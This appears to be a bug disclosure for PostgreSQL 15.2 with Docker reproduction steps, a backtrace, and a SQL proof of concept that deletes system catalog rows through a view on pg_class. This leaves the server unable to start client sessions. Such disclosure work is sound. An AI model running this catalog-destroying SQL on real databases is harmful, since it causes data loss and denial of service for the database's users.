Description: PostgreSQL Server Subprocess Went down at function ‘load_critical_index’ and the Client Cannot Connect to the Database
PostgreSQL Server Version: PostgreSQL 15.2 on x86_64-pc-linux-gnu, compiled by Ubuntu clang version 12.0.1, 64-bit
Discoverer: Jingzhou Fu, Jie Liang and Zhiyong Wu in WingTecher Lab of Tsinghua University and Shuimuyulin ltd
Email address: fjz22@mails.tsinghua.edu.cn , wuzy21@mails.tsinghua.edu.cn , ljiee@mail.tsinghua.edu.cn
Way to Reproduce with Docker (write the poc content into file PoC.sql):
```bash
Way to Reproduce (copy the poc into file PoC.sql):
docker container rm some-postgres -f
docker run --name some-postgres -p 5432:5432 -e POSTGRES_PASSWORD=mysecretpassword -d postgres:15.2
# wait the server start …
docker exec -i some-postgres psql --user=postgres < PoC.sql
docker exec -it some-postgres psql --user=postgres
# psql: error: connection to server on socket "/var/run/postgresql/.s.PGSQL.5432" failed: PANIC: could not open critical system index 2662
```
PoC:
```sql
CREATE VIEW col AS SELECT * FROM pg_catalog.pg_class;
CREATE ROLE regress_execute_server_program IN ROLE pg_execute_server_program;
ALTER TABLE col ALTER COLUMN b DROP DEFAULT,
ALTER COLUMN y
SET DEFAULT ('{"This", "is", "' || foo(1) ||
'", "fantasy"}')::text[];
DELETE FROM col;
```
Backtrace:
```
#0 0x7f0e17e9400b (gsignal+0xcb)
#1 0x7f0e17e73859 (abort+0x12b)
#2 0x1c9fd9e (errfinish+0xe0e)
#3 0x1c69820 (load_critical_index+0xc0)
#4 0x1c689bb (RelationCacheInitializePhase3+0x2eb)
#5 0x1ce8270 (InitPostgres+0x1e70)
#6 0x16e69b8 (PostgresMain+0x478)
#7 0x144c17b (BackendRun+0xbb)
#8 0x144ad85 (BackendStartup+0x525)
#9 0x14481e6 (ServerLoop+0x616)
#10 0x1443e0f (PostmasterMain+0x30cf)
#11 0x106ebf2 (main+0x5a2)
#12 0x7f0e17e75083 (__libc_start_main+0xf3)
#13 0x49fc0e (_start+0x2e)
```
